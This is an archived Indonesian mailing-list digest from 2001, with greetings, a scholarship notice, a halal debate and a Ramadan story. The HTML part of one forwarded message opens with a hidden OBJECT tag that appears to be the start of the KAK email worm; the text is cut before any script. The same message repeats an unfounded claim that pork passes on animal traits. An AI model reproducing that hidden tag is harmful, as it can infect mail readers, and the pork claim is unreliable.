Test ... digest reply. Please ignore.
--------
MIKO
--------
e-mail: [EMAIL PROTECTED]
           [EMAIL PROTECTED]
           [EMAIL PROTECTED]

> -----Original Message-----
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED]]
> Sent: 11 Januari 2001 05:24
> Subject: [RantauNet DIGEST]
>
>
> RantauNet Daily Digest
> Email=======================================================
>
> Date: Wed, 10 Jan 2001 08:29:31 +0700 (JAVT)
> From: Budi Indra <[EMAIL PROTECTED]>
> Subject: Re: [RantauNet] Mohon informasi (fwd)
> Reply-To: [EMAIL PROTECTED]
>
>
> Assalamu'alaikum, wr. wb..
>
> Basirobok jo kawan lamo ruponyo ambo disiko..
> Ma Mahsil Pahambuih Saluang..
> Baa kaba..
>
> Minal 'aidin wal faidzin..
> Ma'af lahir batin..
>
> Wassalamu'alaikum wr., wb.
>
> Rajomudo
>
>
>
> On Tue, 9 Jan 2001, Mahshil wrote:
>
> >
> > Assalamu'alaikum wr wb
> >
> > Mamak, etek, dunsanak kasadonyo...
> > Iko ado parowaik imel dari sanak Iza Bagus
> > Kontak salanjuiknyo mungkin bisa langsung ka sanak Iza, ba'atu
> sanak Iza ?
> >
> > Wassalam,
> >
> > --------deleted----------
> >
> > From: iza bagus <[EMAIL PROTECTED]>
> > To: [EMAIL PROTECTED]
> > Subject: Mohon informasi
> >
> > Salam,
> > Saya memerlukan informasi tentang alat musik khas
> > daerah Sumatera Barat yaitu Saluang.
> > 1. Asal usul Saluang dan perkembangannya.
> > 2. Cara membuat saluang dan teknik bermainnya.
> > 3. Jenis-jenis Saluang dan musiknya.
> > 4. Keberadaan Saluang dalam upacara-upacara adat di
> > Minang Kabau.
> > 5. Bagaimana peranan Saluang dalam menambah khasanah
> > budaya Indonesia.
> > 6. Bagaimana budidaya Saluang dan musiknya baik pada
> > rakyat minang maupun Indonesia umumnya.
> > Demikian hal- hal yang ingin saya ketahui dan jika ada
> > informasi lainnya mengenai alat musik ini mohon dapat
> > disertakan.Mohon dapat memberikan jawaban secepatnya,
> > informasi isi akan saya gunakan sebagai bahan membuat
> > makalah mengenai budaya daerah saya.
> > Atas bantuannya saya ucapkan terimakasih.
> >
> >
> >
> >
> > RantauNet http://www.rantaunet.com
> > =================================================
> > Mendaftar atau berhenti menerima RantauNet Mailing List di
> > http://www.rantaunet.com/subscribe.php3
> >
> > ATAU Kirimkan email
> > Ke / To: [EMAIL PROTECTED]
> > Isi email / Messages, ketik pada baris/kolom pertama:
> > - mendaftar: subscribe rantau-net [email_anda]
> > - berhenti: unsubscribe rantau-net [email_anda]
> > Ket: [email_anda] = isikan alamat email anda tanpa tanda kurung
> > =================================================
> > WebPage RantauNet dan Mailing List RantauNet adalah
> > servis dari EEBNET http://eebnet.com, Airland Groups, USA
> > =================================================
> >
> >
> >
> > RantauNet http://www.rantaunet.com
> > =================================================
> > Mendaftar atau berhenti menerima RantauNet Mailing List di
> > http://www.rantaunet.com/subscribe.php3
> >
> > ATAU Kirimkan email
> > Ke / To: [EMAIL PROTECTED]
> > Isi email / Messages, ketik pada baris/kolom pertama:
> > - mendaftar: subscribe rantau-net [email_anda]
> > - berhenti: unsubscribe rantau-net [email_anda]
> > Ket: [email_anda] = isikan alamat email anda tanpa tanda kurung
> > =================================================
> > WebPage RantauNet dan Mailing List RantauNet adalah
> > servis dari EEBNET http://eebnet.com, Airland Groups, USA
> > =================================================
> >
>
> =======================================================
>
> From: "RINALVI" <[EMAIL PROTECTED]>
> Date: Wed, 10 Jan 2001 08:38:36 +0700
> Subject: [RantauNet] FW: AMINEF Buka Program Beasiswa Fulbright
> Reply-To: [EMAIL PROTECTED]
>
>
> -----Original Message-----
> From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
> Sent: Wednesday, January 10, 2001 3:31 AM
> To: [EMAIL PROTECTED]
> Subject: AMINEF Buka Program Beasiswa Fulbright
>
>
> AMINEF Buka Program Beasiswa Fulbright Tahun Akademik 2002/2003
>
> AMINEF (American-Indonesian Exchange Foundation) menawarkan
> beasiswa kepada
> para sarjana Indonesia untuk mengikuti kompetisi Program Beasiswa
> Fulbright
> tahun akademik 2002/2003. Penerima beasiswa ini berhak mengikuti program
> magister (S2) di universitas terkemuka di Amerika.
>
> Bidang ilmu yang ditawarkan meliputi bidang seni yang terdiri dari: dance,
> Fine and Applied Arts, Architecture, Musik dan Theater Arts.Bidang Social
> Sciences and Humanities yang terdiri dari American Studies, Anthropology,
> Art History, Civic Education, Creative Writing, Economics, History, Human
> Rights, International Relations (termasuk Security Studies), Linguistics,
> Literature, Philosophy, Political Science, Psychology, Religion (termasuk
> Islamic Studies dan Comparative Religious Studies)dan Sociology. Fulbright
> juga menawarkan bidang Professional and Educational Studies yang terdiri
> dari International Business, Education (termasuk di bidang
> ilmu-ilmu alamiah
> dasar), Journalism, Law, Communication, Public Administration,
> Social Work,
> Teaching English as a Second Language
>
> Pelamar harus memperlihatkan latar belakang akademis yang sesuai
> atau mampu
> membuktikan bahwa pengalaman dan persiapan mereka di bidang lain akan
> relevan dengan bidang studi yang diinginkan. Pelamar juga diharapkan
> mempunyai kemampuan dan kemauan untuk menerapkan keterampilan ke dalam
> pengembangan masyarakat Indonesia.
>
> Adapun persyaratan yang harus dipenuhi adalah Lulus sarjana S1
> dengan indeks
> prestasi kumulatif (IPK) minimal 2,85 (skala 1-4). Mampu berbahasa Inggris
> dengan baik dan tercermin dalam nilai TOEFL (International, Institutional
> atau Prediction) minimal 550. Berusia dibawah 35 tahun pada tanggal
> penutupan pendaftaran 28 Pebruari 2001. Memiliki pekerjaan tetap,
> dan telah
> berpengalaman minimal 24 bulan sejak lulus dari perguruan tinggi.
> Prioritas
> diberikan kepada staf pengajar perguruan tinggi negeri dan swasta, staf
> lembaga nirlaba dan organisasi pemerintahan.
>
> Peminat diharapkan memiliki potensi kepemimpinan serta mempunyai
> kepedulian
> terhadap kepentingan masyarakat Indonesia serta apresiasi terhadap budaya
> antarbangsa. Setelah selesai mengikuti pendidikan, penerima beasiswa akan
> kembali bekerja di lembaga tempat bekerja semula.
>
> Pendaftaran program ini dibuka sampai tanggal 28 Februari 2001 cap pos.
> Formulir pendaftaran yang telah dilengkapi dan dilampiri fotokopi
> hasil tes
> TOEFL dapat dikirim ke AMINEF dengan alamat Gedung Balai Pustaka,
> Lt.6, Jl.
> Gunung Sahari Raya 4, Jakarta 10720. Formulir Pendaftaran Fulbright bisa
> didapatkan via pos dengan mengirimkan amplop dan perangko balasan.
>
> Informasi lebih lanjut bisa dilihat di
> http://www.usembassyjakarta.org/aminef
>
>
>
> =======================================================
>
> From: MULYADI <[EMAIL PROTECTED]>
> Date: Wed, 10 Jan 2001 09:43:21 +0700
> Subject: RE: [RantauNet] Ajinomoto halal
> Reply-To: [EMAIL PROTECTED]
> Lho....kok bingung....
> Presiden benar kok,  secara ilmiah aji nomoto Halal, dalam arti tidak ada
> mengandung unsur racun ( unsur yg akan merusak tubuh)
> Itu kan ilmiah, kalau secara agama, (islam)  Ya ajinomoto itu HARAM,
> sekian tanggapan saya, mudah2-an lain kali bisa di bedakan ilmu dunia
> (manusia) dg ilmu akhirat (Allah)
>
> wassalam
>
> > ----------
> > From:       Darul Makmur[SMTP:[EMAIL PROTECTED]]
> > Reply To:   [EMAIL PROTECTED]
> > Sent:       Wednesday, January 10, 2001 8:20 AM
> > To:         Koim Zaenal Abidin
> > Cc:         [EMAIL PROTECTED]
> > Subject:    RE: [RantauNet] Ajinomoto halal
> >
> > Hari ini mulai perang terbuka antara lembaga kepresidenana dan
> badan MUI,
> >
> > Siapa yang benar, kumpulan Ulama atau Wali?
> >
> > -----Original Message-----
> > From:       Koim Zaenal Abidin
> > Sent:       Tuesday, January 09, 2001 4:50 PM
> > To: Muhajir; Giyono; ANNUR
> > Subject:    RE: Ajinomoto halal
> >
> > Ass. Wr. Wbr.
> >
> > KOK SAYA MALAH JADI BINGUNG, BISA-BISANYA YA....!!
> >
> >
> > Wass,
> >
> > -----Original Message-----
> > From:       Muhajir
> > Sent:       Tuesday, January 09, 2001 4:28 PM
> > To: Giyono; ANNUR
> > Subject:    RE: Ajinomoto halal
> >
> > Ass.ww.-
> >
> > Betul juga ngkali, cuma mengandung babiiiiiii
> >
> > Wass/muh
> >
> > -----Original Message-----
> > From:       Giyono
> > Sent:       Tuesday, January 09, 2001 4:19 PM
> > To: ANNUR
> > Subject:    Ajinomoto halal
> >
> > Presiden RI secara resmi menyatakan(sore ini) bahwa produk Ajinomoto
> > secara
> > ilmiah terbukti halal untuk dikonsumsi.
> > Demikian agar menjadikan periksa adanya.
> >
> >
> > RantauNet http://www.rantaunet.com
> > =================================================
> > Mendaftar atau berhenti menerima RantauNet Mailing List di
> > http://www.rantaunet.com/subscribe.php3
> >
> > ATAU Kirimkan email
> > Ke / To: [EMAIL PROTECTED]
> > Isi email / Messages, ketik pada baris/kolom pertama:
> > - mendaftar: subscribe rantau-net [email_anda]
> > - berhenti: unsubscribe rantau-net [email_anda]
> > Ket: [email_anda] = isikan alamat email anda tanpa tanda kurung
> > =================================================
> > WebPage RantauNet dan Mailing List RantauNet adalah
> > servis dari EEBNET http://eebnet.com, Airland Groups, USA
> > =================================================
> >
> =======================================================
>
> From: MULYADI <[EMAIL PROTECTED]>
> Date: Wed, 10 Jan 2001 09:48:02 +0700
> Subject: [RantauNet] ignore    (test)
> Reply-To: [EMAIL PROTECTED]
> test
> =======================================================
>
> From: "irwan" <[EMAIL PROTECTED]>
> Date: Wed, 10 Jan 2001 10:48:26 +0800
> Subject: Re: [RantauNet] Nan tatingga dari Ramadhan nan lah lapeh
> Reply-To: [EMAIL PROTECTED]
> Assalamualaikum,wr.wb
> Yth, Uda Lembang Alam
> Partamo ambo sampaikan Selamat Hari Rayo Idul Fitri ,Minal aidin Wal
> Faidzin.
> Manginyam Katupek lebaran Uda Ambo jadi taingek jo kampuang wakatu ketek
> dulu,kebetulan rayo ko ambo indak pulang kampuang,  kalau anak
> Uda marasokan
> di Balikpapan labiah meriah, ambo di Balikpapan  marasokan indak ado nan
> labiah meriah salain di kampuang doh.
> Namun ado nan mambuek  hati ambo tasintuah di malam hari rayo di desa ambo
> Koto tangah Tilatang Kamang di tahun 80 an , surau -surau sepi jo suaro
> takbiran kalaupun lai suaro takbiran mungkin dari kaset, ambo
> liek anak-anak
> sapangkek ambo banyak bagarombolan di tapi jalan raya/simpang. Ambo sempat
> bapikia apokoh lamo-lamo nantinyo urang kampuang ambo makin jauah dari
> musajik, musajik banyak gadang-gadang dan taruih di parancak
> (dapek bantuan
> dari rantau)  tapi jamaahnyo hanyo babarapo urang tuo-tuo sajo.
> Mungkin paralu awak pikiakan kalau ka mangirim bantuan untuk musajik di
> kampung indak lai untuak mamparancak musajik sajo tapi mungkin mambuek
> musajik manjadi tampaik nan manyanagkan bagi anak-anak sampai anak mudo,
> mungkin bisa mangambangkan perputakaan mesjid dengan mangirimkam buku-buku
> bacaan dsb.
> Sakitu dulu , ambo mohon maaf kalau ada kato-kato ambo nan indak pado
> tampaiknyo,
>
> Wassalam dan maaf
>
> I r w a n
> BALIKPAPAN
>
> ----- Original Message -----
> From: "Muhammad Dafiq Saib" <[EMAIL PROTECTED]>
> To: <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>
> Sent: Tuesday, January 09, 2001 8:21 AM
> Subject: [RantauNet] Nan tatingga dari Ramadhan nan lah lapeh
>
>
> > Assalamu'alaikum wr.wb.,
> >
> > Iyo lamo ambo indak ka lapau, indak pulo ka surau.
> > Alhamdulillah, kini baru talakik maengong baliak.
> > Mudah-mudahan awak kasadono tatap dalam bimbingan
> > Allah SWT. Amiin.
> >
> > Iko ado saketek nan ambo tulih persis bana saari ari
> > rayo, tapi dek bendi di rumah agak baulah, katiko itu
> > indak takirin. Mudah-mudahan bamanpaaik.
> >
> > Wassalamu'alaikum wr.wb.,
> >
> > Lembang Alam
> >
> >
> >
> > KETUPAT LEBARAN
> >
> > Hari baru jam sembilan lebih seperempat malam. Aku
> > baru kembali dari mesjid. Takbir masih  terdengar
> > bergemuruh. Allahu Akbar - Allahu Akbar - Allahu
> > Akbar. Laa ilaha illa 'Llahu waLlahu Akbar. Allahu
> > Akbar walilLahil hamd. Selesai sudah Ramadhan tahun
> > ini, setelah tigapuluh hari penuh berpuasa. Bahana
> > takbir bersahut-sahutan di udara malam nan  syahdu.
> >
> > Di rumah kudapati anak-anak dan ibu mereka sedang
> > bergotong royong di meja makan menyiapkan hidangan
> > hari raya besok. Mereka bekerja sambil berseloroh,
> > mengobrol macam-macam dari barat ke timur, mengulangi
> > kenangan lama saat mereka masih kanak-kanak, diselingi
> > tawa terkekeh-kekeh.
> > "Malam takbiran seperti ini selalu mengingatkanku pada
> > Balikpapan" kata si Sulung. "Hari raya disana selalu
> > lebih ramai. Sehabis salat Ied tamu kita, terutama
> > teman-teman sekantor ayah  segera berdatangan." "Iya,
> > aku ingat kita bergantian membakar sate dan rumah kita
> > seperti warung sate Padang." si Tengah menambahkan.
> > "Malam takbiran begini biasanya kita menusuk sate
> > beramai-ramai, sementara si mBok sibuk merebus
> > ketupat. Kenapa buk, disini kita tidak membuat sate
> > Padang?" si Bungsu menimpali. "Di sini
> > tetangga-tetangga datang berhari raya hanya sampai di
> > pintu rumah untuk bersalaman, setelah itu pergi, beda
> > dengan di Balikpapan yang lebih akrab. Kalau disini
> > masing-masing orang ingin segera berkumpul dengan
> > keluarga besarnya." jawab ibu mereka. "Lha, apa
> > hubungannya dengan tidak bikin sate Padang?" si Tengah
> > yang kritis menyela. "Hubungannya, yang makan hanya
> > kita-kita saja, karena tamu kita jarang yang mau ikut
> > duduk untuk makan bersama karena disini begitu
> > tradisinya. Kalau cuma untuk kita, ya kita pergi saja
> > ke warung sate Padang" si Sulung membuat interpretasi.
> > "Ah, bukan juga begitu, kalau kalian mau nanti
> > kapan-kapan kita bikin" jawab ibu. "Sekarang biarlah
> > kita siapkan ketupat dan opor ayam ini saja."
> >
> > "Ngomong-ngomong tentang Balikpapan aku ingat waktu
> > pertama kali ikut salat taraweh, aku maunya salat
> > dekat ayah, dan aku ditertawakan karena anak cewek
> > harusnya salat di belakang bersama ibu-ibu, he he he."
> > kenang si Sulung yang asik mengupas bawang. "Kalau aku
> > yang nggak bisa lupa waktu aku menumpahkan kolak
> > pisang di sajadah tante Ani waktu salat taraweh di
> > rumahnya. Tante Ani  yang latah itu tereak-tereak
> > mengatakan aku ngompol sehingga semua orang melotot ke
> > arahku." kata si Tengah. "Ya, dan kamu langsung nangis
> > waktu itu, he he he" si Sulung menambahkan.
> >
> > Suara takbir bersahut-sahutan masih terus terdengar
> > dari pengeras suara di mesjid-mesjid di sekitar
> > kompleks perumahan ini. Allahu Akbar waliLlahil hamd.
> > Biasanya cerita nostalgia itu berlanjut kemana-mana.
> > Masing-masing mengungkit memori kanak-kanak mereka
> > tentang kejadian sekitar sepuluh tahun atau lebih yang
> > lalu. Kadang-kadang aku ikut membumbui obrolan mereka.
> > Kadang-kadang aku ikut mengingatkan kejadian yang
> > mereka alami. Kadang-kadang aku juga menceritakan
> > kenanganku waktu kecil selama puasa Ramadhan. Ceritaku
> > tentu saja lain dengan pengalaman anak-anak yang lebih
> > berwarna-warni, karena waktu aku kecil kami menjalani
> > bulan puasa ditengah kesederhanaan  suasana kampung.
> >
> > Allahu Akbar kabiiran, wa subhanaLlahi bukratan wa
> > ashiila. Entah kenapa, tiba-tiba saja air mataku
> > berlinang kali ini dan aku jadi terisak-isak. Tentu
> > saja semua jadi gempar. "Kenapa ayah? Kok ayah jadi
> > cengeng begini?" tanya si Bungsu hati-hati. Yang lain
> > semua diam membisu. Mereka bahkan menghentikan
> > pekerjaan mereka, menatap padaku dengan tatapan penuh
> > tanda tanya. Aku mencoba meredam emosi. Allahu Akbar
> > walilLahil hamd.
> > "Berapa tahun sejak kamu ikut salat taraweh yang
> > pertama kali yang kamu sebutkan tadi?" tanyaku pada si
> > Sulung. Dia berfikir sebentar. "Enam belas tahun ayah.
> > Waktu itu aku masih di TK nol kecil" jawabnya. "Betul.
> > Dan kamu masih ingat kejadian-kejadian lain waktu
> > itu?" tanyaku pula. "Ingat, banyak sekali kejadian
> > yang aku masih hafal luar kepala. Waktu aku pertama
> > kali ikut bus jemputan ke sekolah, waktu itu aku
> > sangat senang karena merasa sudah besar, tidak usah
> > diantar ibu ke sekolah. Waktu aku pergi ke ulang tahun
> > temanku Santi dan aku naksir sekali kado yang aku
> > bawakan untuknya. Waktu kita ketinggalan pesawat
> > sekembali dari liburan di kampung. Semua masih segar
> > dalam ingatanku." tambahnya pula.
> > "Ayahpun masih ingat waktu pertama kali ayah puasa
> > saat ayah berumur enam tahun. Hari pertama puasa tiap
> > sebentar ayah menanyakan waktu pada nenekmu. Lama
> > betul rasanya menunggu beduk magrib dipukul orang di
> > mesjid. Hari-hari berikutnya kami sudah lebih tahan.
> > Ayah dan teman-teman ayah bermain sepanjang hari. Main
> > bola, main layang-layang, bermain-main di sawah, naik
> > di punggung kerbau. Sore-sore biasanya kami
> > mengendap-endap mandi di kolam mesjid, takut ketahuan
> > tuanku mesjid yang selalu marah karena kami mandi
> > memperkeruh air kolam tempat wudu itu" aku bercerita
> > panjang. "Cerita ini sudah pernah ayah ceritakan.
> > Suatu kali tuanku mesjid merendam baju ayah ke dalam
> > kolam sehingga ayah terpaksa pulang tanpa baju, iya
> > kan? Maaf ayah, kenang-kenangan itukah yang menjadikan
> > ayah sedih sampai menangis?" tanya si Bungsu lagi.
> > "Benar" jawabku "ayah terharu mengingat  semua itu."
> > "Aneh benar, bagian mananyakah yang mengharukan?"
> > tanya si Tengah.
> > "Baik, coba kalian dengar. Kenangan kakakmu berumur
> > enam belas tahun. Kenangan ayah berumur lebih lama
> > lagi, empat puluh tiga tahun. Semuanya juga masih
> > segar dalam ingatan ayah, ketika Ramadhan demi
> > Ramadhan ayah lalui dalam kehidupan ayah. Padahal
> > waktu 43 tahun adalah jangka waktu yang lama dalam
> > hidup seorang manusia. Kenapa ayah sedih? Pernahkah
> > kita menanyakan kepada diri kita berapa kali Ramadhan
> > lagi yang akan kita lalui? Hanya Allah yang tahu. Yang
> > pasti setiap kali kita menyelesaikan satu bulan
> > Ramadhan jatah kita makin berkurang. Berbeda dengan
> > ketupat yang setiap tahun kita santap di hari raya,
> > yang menjadikan kita dapat mengukir keindahan kenangan
> > idul Fitri itu, tubuh kita selalu berubah sesuai
> > dengan kodrat manusiawi, dan Allah menjadikan
> > perubahan itu sebagai peringatan buat kita. "Demi
> > masa" firman Allah. Kamu tidak mungkin menyangkal
> > bahwa kenangan kamu tadi adalah kenangan dari masa
> > kanak-kanakmu. Waktu itu kamu seorang gadis cilik yang
> > ceria. Dan sekarang kamu adalah seorang dewasa.
> > Sementara ayah telah menyaksikan pula dalam perjalanan
> > hidup ayah macam-macam hal, mulai dari sebelum kalian
> > lahir, masa-masa kalian masih bayi, masa kalian tumbuh
> > sampai sekarang. Suatu saat ini akan berakhir. Jatah
> > kita menjalani Ramadhan akan habis, dan mungkin itu
> > dalam waktu yang tidak akan terlalu lama. Buat ayah
> > mungkin tidak akan sampai 43 tahun lagi, wallahu
> > a'lam. Pernahkah kita memikirkan itu? Pernahkah kita
> > menanyakan seberapa jauh makna Ramadhan yang baru saja
> > kita lalui? Pernahkah kita membayangkan untuk kedepan
> > arti ibadah yang kita lakukan? Pernahkah kita
> > menanyakan 'Akankah Allah berkenan dengan ibadah puasa
> > kita?' Pernahkah kita menanya diri kita bahwa yang
> > kita lakukan bukan hanya sekedar mengakhiri latihan
> > mengendalikan diri sebulan penuh lalu setelah itu kita
> > kembali tidak terkendali? Seandainya demikian bukankah
> > kita akan termasuk kelompok yang di cap Allah
> > 'Sesungguhnya manusia itu dalam keadaan merugi' karena
> > boleh jadi puasa kita kosong belaka artinya. Karena
> > puasa itu tidak membuahkan ketaqwaan yang dapat kita
> > pelihara sampai lama sesudah berakhirnya Ramadhan.
> > Betapa ayah penuh harap kiranya kita termasuk orang
> > yang berhasil dengan puasa kita. Yang tidak sekedar
> > untuk kita rayakan dengan ketupat lebaran. Betapa ayah
> > berharap kita akan termasuk orang yang dikecualikan
> > oleh Allah, 'kecuali orang-orang yang beriman dan
> > beramal shaleh'. Dan ayah ingatkan kalian untuk lebih
> > memahami artinya puasa yang baru saja selesai kita
> > laksanakan. Ibadah yang kita ikrarkan semata-mata
> > hanya karena Allah. Mudah-mudahan kalian mengerti
> > bahwa ayah menangis bukan karena cengeng." Semua diam
> > membisu. Gema takbir terus berkumandang. Allahu Akbar
> > - Allahu Akbar - Allahu Akbar, walilLahil hamd.
> >
> >
> > Jatibening, 1 Syawal 1421H
> >
> >
> > __________________________________________________
> > Do You Yahoo!?
> > Yahoo! Photos - Share your holiday photos online!
> > http://photos.yahoo.com/
> >
> > RantauNet http://www.rantaunet.com
> > =================================================
> > Mendaftar atau berhenti menerima RantauNet Mailing List di
> > http://www.rantaunet.com/subscribe.php3
> >
> > ATAU Kirimkan email
> > Ke / To: [EMAIL PROTECTED]
> > Isi email / Messages, ketik pada baris/kolom pertama:
> > - mendaftar: subscribe rantau-net [email_anda]
> > - berhenti: unsubscribe rantau-net [email_anda]
> > Ket: [email_anda] = isikan alamat email anda tanpa tanda kurung
> > =================================================
> > WebPage RantauNet dan Mailing List RantauNet adalah
> > servis dari EEBNET http://eebnet.com, Airland Groups, USA
> > =================================================
>
> =======================================================
>
> Date: Tue, 9 Jan 2001 19:02:20 -0800 (PST)
> From: Muhammad Dafiq Saib <[EMAIL PROTECTED]>
> Subject: RE: [RantauNet] Ajinomoto halal
> Reply-To: [EMAIL PROTECTED]
> Assalamu'alaikum wr.wb.,
>
> Iyo sabana-sabana sakik komah.........
>
> Ee yaiyai.....
>
> wassalamu'alaikum wr. wb.,
>
> LA
>
>
>
> --- Darul Makmur <[EMAIL PROTECTED]> wrote:
> > Hari ini mulai perang terbuka antara lembaga
> > kepresidenana dan badan MUI,
> >
> > Siapa yang benar, kumpulan Ulama atau Wali?
> >
> > -----Original Message-----
> > From:       Koim Zaenal Abidin
> > Sent:       Tuesday, January 09, 2001 4:50 PM
> > To: Muhajir; Giyono; ANNUR
> > Subject:    RE: Ajinomoto halal
> >
> > Ass. Wr. Wbr.
> >
> > KOK SAYA MALAH JADI BINGUNG, BISA-BISANYA YA....!!
> >
> >
> > Wass,
> >
> > -----Original Message-----
> > From:       Muhajir
> > Sent:       Tuesday, January 09, 2001 4:28 PM
> > To: Giyono; ANNUR
> > Subject:    RE: Ajinomoto halal
> >
> > Ass.ww.-
> >
> > Betul juga ngkali, cuma mengandung babiiiiiii
> >
> > Wass/muh
> >
> > -----Original Message-----
> > From:       Giyono
> > Sent:       Tuesday, January 09, 2001 4:19 PM
> > To: ANNUR
> > Subject:    Ajinomoto halal
> >
> > Presiden RI secara resmi menyatakan(sore ini) bahwa
> > produk Ajinomoto secara
> > ilmiah terbukti halal untuk dikonsumsi.
> > Demikian agar menjadikan periksa adanya.
> >
> >
> > RantauNet http://www.rantaunet.com
> > =================================================
> > Mendaftar atau berhenti menerima RantauNet Mailing
> > List di
> > http://www.rantaunet.com/subscribe.php3
> >
> > ATAU Kirimkan email
> > Ke / To: [EMAIL PROTECTED]
> > Isi email / Messages, ketik pada baris/kolom
> > pertama:
> > - mendaftar: subscribe rantau-net [email_anda]
> > - berhenti: unsubscribe rantau-net [email_anda]
> > Ket: [email_anda] = isikan alamat email anda tanpa
> > tanda kurung
> > =================================================
> > WebPage RantauNet dan Mailing List RantauNet adalah
> > servis dari EEBNET http://eebnet.com, Airland
> > Groups, USA
> > =================================================
>
>
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Photos - Share your holiday photos online!
> http://photos.yahoo.com/
> =======================================================
>
> From: "Risdianto" <[EMAIL PROTECTED]>
> Date: Wed, 10 Jan 2001 10:17:20 +0700
> Subject: [RantauNet] tentang Miss Piggy.
> Reply-To: [EMAIL PROTECTED]
> This is a multi-part message in MIME format.
>
> ------=_NextPart_000_0073_01C07AEE.83FBDB60
> Content-Type: text/plain;
>       charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
>
>
>
> iko ada saketek article untuk menambah wawasan tentang Miss Piggy.
>
> Hikmah Pengharaman Babi=20
>
>          Hal ini penting untuk diketahui, terutama oleh pemuda-pemuda
> kita
> yang sering pergi ke negara-negara Eropa dan Amerika, yang menjadikan
> daging babi sebagai makanan pokok dalam hidangan mereka. =20
>
>          Dalam kesempatan ini, saya sitir kembali kejadian yang
> berlangsung
> ketika Imam Muhammad Abduh mengunjungi Perancis. Mereka bertanya
> kepadanya
> mengenai rahasia diharamkannya babi dalam Islam. Mereka bertanya kepada
> Imam, "Kalian (umat Islam) mengatakan bahwa babi haram, karena ia
> memakan
> sampah yang mengandung cacing pita, mikroba-mikroba dan bakteri-bakteri
> lainnya. Hal itu sekarang ini sudah tidak ada. Karena babi diternak
> dalam
> peternakan modern, dengan kebersihan terjamin, dan proses sterilisasi
> yang
> mencukupi. Bagaimana mungkin babi-babi itu terjangkit cacing pita atau
> bakteri dan mikroba lainnya.?"=20
>
>          Imam Muhammad Abduh tidak langsung menjawab pertanyaan itu, dan
> dengan kecerdikannya beliau meminta mereka untuk menghadirkan dua ekor
> ayam
> jantan beserta satu ayam betina, dan dua ekor babi jantan beserta satu
> babi
> betina.=20
>
>          Mengetahui hal itu, mereka bertanya, "Untuk apa semua ini?"
> Beliau
> menjawab, "Penuhi apa yang saya pinta, maka akan saya perlihatkan suatu
> rahasia."=20
>
>          Mereka memenuhi apa yang beliau pinta. Kemudian beliau
> memerintahkan agar melepas dua ekor ayam jantan bersama satu ekor ayam
> betina dalam satu kandang. Kedua ayam jantan itu berkelahi dan saling
> membunuh, untuk mendapatkan ayam betina bagi dirinya sendiri, hingga
> salah
> satu dari keduanya hampir tewas. Beliau lalu memerintahkan agar
> mengurung
> kedua ayam tersebut.=20
>
>          Kemudian beliau memerintahkan mereka untuk melepas dua ekor
> babi
> jantan bersama dengan satu babi betina. Kali ini mereka menyaksikan
> keanehan. Babi jantan yang satu membantu temannya sesama jantan untuk
> melaksanakan hajat seksualnnya, tanpa rasa cemburu, tanpa harga diri
> atau
> keinginan untuk menjaga babi betina dari temannya.=20
>
>          Selanjutnya beliau berkata, "Saudara-saudara, daging babi
> membunuh
> 'ghirah' orang yang memakannya. Itulah yang terjadi pada kalian. Seorang
> lelaki dari kalian melihat isterinya bersama lelaki lain, dan
> membiarkannya
> tanpa rasa cemburu, dan seorang bapak di antara kalian melihat anak
> perempuannya bersama lelaki asing, dan kalian membiarkannya tanpa rasa
> cemburu, dan was-was, karena daging babi itu menularkan sifat-sifatnya
> pada
> orang yang memakannya."=20
> ********************************
> Dari buku: Hidangan Islami: Ulasan Komprehensif  Berdasarkan Syari`at
> dan
> Sains Modern=20
> Penulis: Syeikh Fauzi Muhammad Abu Zaid=20
> Penerjemah: Abdul Hayyie al Kattani=20
> Cet : I/1997=20
> Penerbit: Gema Insani Press=20
>              Jl. Kalibata Utara II No. 84 Jakarta 12740=20
>              Telp. (021) 7984391-7984392-7988593=20
>              Fax. (021) 7984388=20
>              www.gemainsani.co.id=20
>
> ------=_NextPart_000_0073_01C07AEE.83FBDB60
> Content-Type: text/html;
>       charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
>
> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
> <HTML><HEAD>
> <META content=3D"text/html; charset=3Diso-8859-1" =
> http-equiv=3DContent-Type>
> <META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
> <STYLE></STYLE>
> </HEAD>
> <BODY bgColor=3D#ffffff>
> <DIV>&nbsp;</DIV>
> <DIV>
> <DIV style=3D"POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">
> <OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC id=3Dscr=20
> name=3DPatsisnameit></OBJECT></DIV><FONT size=3D2><BR><FONT size=3D2>iko =
> ada saketek=20
> article untuk menambah wawasan tentang Miss Piggy.<BR><BR>Hikmah =
> Pengharaman=20
> Babi <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hal ini =
> penting=20
> untuk diketahui, terutama oleh pemuda-pemuda<BR>kita<BR>yang sering =
> pergi ke=20
> negara-negara Eropa dan Amerika, yang menjadikan<BR>daging babi sebagai =
> makanan=20
> pokok dalam hidangan mereka.&nbsp;=20
> <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dalam =
> kesempatan ini,=20
> saya sitir kembali kejadian yang<BR>berlangsung<BR>ketika Imam Muhammad =
> Abduh=20
> mengunjungi Perancis. Mereka bertanya<BR>kepadanya<BR>mengenai rahasia=20
> diharamkannya babi dalam Islam. Mereka bertanya kepada<BR>Imam, "Kalian =
> (umat=20
> Islam) mengatakan bahwa babi haram, karena ia<BR>memakan<BR>sampah yang=20
> mengandung cacing pita, mikroba-mikroba dan bakteri-bakteri<BR>lainnya. =
> Hal itu=20
> sekarang ini sudah tidak ada. Karena babi =
> diternak<BR>dalam<BR>peternakan=20
> modern, dengan kebersihan terjamin, dan proses =
> sterilisasi<BR>yang<BR>mencukupi.=20
> Bagaimana mungkin babi-babi itu terjangkit cacing pita atau<BR>bakteri =
> dan=20
> mikroba lainnya.?" =
> <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Imam=20
> Muhammad Abduh tidak langsung menjawab pertanyaan itu, dan<BR>dengan=20
> kecerdikannya beliau meminta mereka untuk menghadirkan dua=20
